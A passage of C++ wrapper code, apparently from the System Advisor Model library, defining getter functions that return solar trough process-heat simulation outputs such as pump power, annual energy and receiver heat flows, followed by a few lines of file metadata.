translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "W_dot_parasitic_tot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "W_dot_parasitic_tot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_W_dot_pc_pump_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "W_dot_pc_pump", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "W_dot_pc_pump"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_W_dot_sca_track_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "W_dot_sca_track", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "W_dot_sca_track"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_electricity_consumption_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_electricity_consumption", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_electricity_consumption"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_energy_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_energy", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_energy"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_annual_energy_distribution_time_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "annual_energy_distribution_time", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_energy_distribution_time"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_field_freeze_protection_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_field_freeze_protection", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_field_freeze_protection"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_gross_energy_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_gross_energy", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_gross_energy"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_tes_freeze_protection_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_tes_freeze_protection", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_tes_freeze_protection"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_thermal_consumption_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_thermal_consumption", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_thermal_consumption"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_annual_total_water_use_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "annual_total_water_use", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "annual_total_water_use"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_beam_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "beam", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "beam"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_capacity_factor_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "capacity_factor", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "capacity_factor"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_deltaP_field_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "deltaP_field", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "deltaP_field"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_dni_costh_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "dni_costh", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "dni_costh"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_e_ch_tes_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "e_ch_tes", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "e_ch_tes"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_e_dot_field_int_energy_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "e_dot_field_int_energy", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "e_dot_field_int_energy"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_gen_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "gen", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "gen"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_hour_day_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "hour_day", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "hour_day"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_kwh_per_kw_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "kwh_per_kw", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "kwh_per_kw"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_balance_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_balance", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_balance"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_cr_to_tes_hot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_cr_to_tes_hot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_cr_to_tes_hot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_cycle_to_field_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_cycle_to_field", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_cycle_to_field"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_field_delivered_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_field_delivered", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_field_delivered"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_field_recirc_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_field_recirc", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_field_recirc"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_field_to_cycle_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_field_to_cycle", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_field_to_cycle"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_htf_heat_sink_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_htf_heat_sink", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_htf_heat_sink"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_loop_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_loop", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_loop"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_pc_to_tes_cold_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_pc_to_tes_cold", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_pc_to_tes_cold"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_tes_cold_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_tes_cold_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_tes_cold_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_m_dot_tes_hot_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "m_dot_tes_hot_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_tes_hot_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_mass_tes_cold_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "mass_tes_cold", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "mass_tes_cold"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_mass_tes_hot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "mass_tes_hot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "mass_tes_hot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_month_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "month", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "month"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_op_mode_1_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "op_mode_1", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "op_mode_1"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_op_mode_2_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "op_mode_2", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "op_mode_2"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_op_mode_3_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "op_mode_3", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "op_mode_3"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_pres_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "pres", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "pres"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_balance_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_balance", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_balance"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_ch_tes_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_ch_tes", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_ch_tes"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dc_tes_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dc_tes", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dc_tes"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_freeze_prot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_freeze_prot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_freeze_prot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_htf_sf_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_htf_sf_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_htf_sf_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_piping_loss_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_piping_loss", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_piping_loss"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_rec_abs_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_rec_abs", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_rec_abs"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_rec_inc_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_rec_inc", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_rec_inc"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_rec_thermal_loss_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_rec_thermal_loss", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_rec_thermal_loss"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_dot_to_heat_sink_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_dot_to_heat_sink", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_dot_to_heat_sink"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_inc_sf_tot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_inc_sf_tot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_inc_sf_tot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_q_tes_heater_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "q_tes_heater", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "q_tes_heater"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_qinc_costh_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "qinc_costh", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "qinc_costh"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Outputs_solar_multiple_actual_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "solar_multiple_actual", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "solar_multiple_actual"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_solazi_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "solazi", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "solazi"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_solzen_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "solzen", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "solzen"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_tank_losses_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "tank_losses", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "tank_losses"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_tdry_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "tdry", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "tdry"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_time_hr_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "time_hr", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "time_hr"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_twet_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "twet", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "twet"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_wspd_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "wspd", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "wspd"); }); return result; }
31.180394
149
0.782695
jkelroy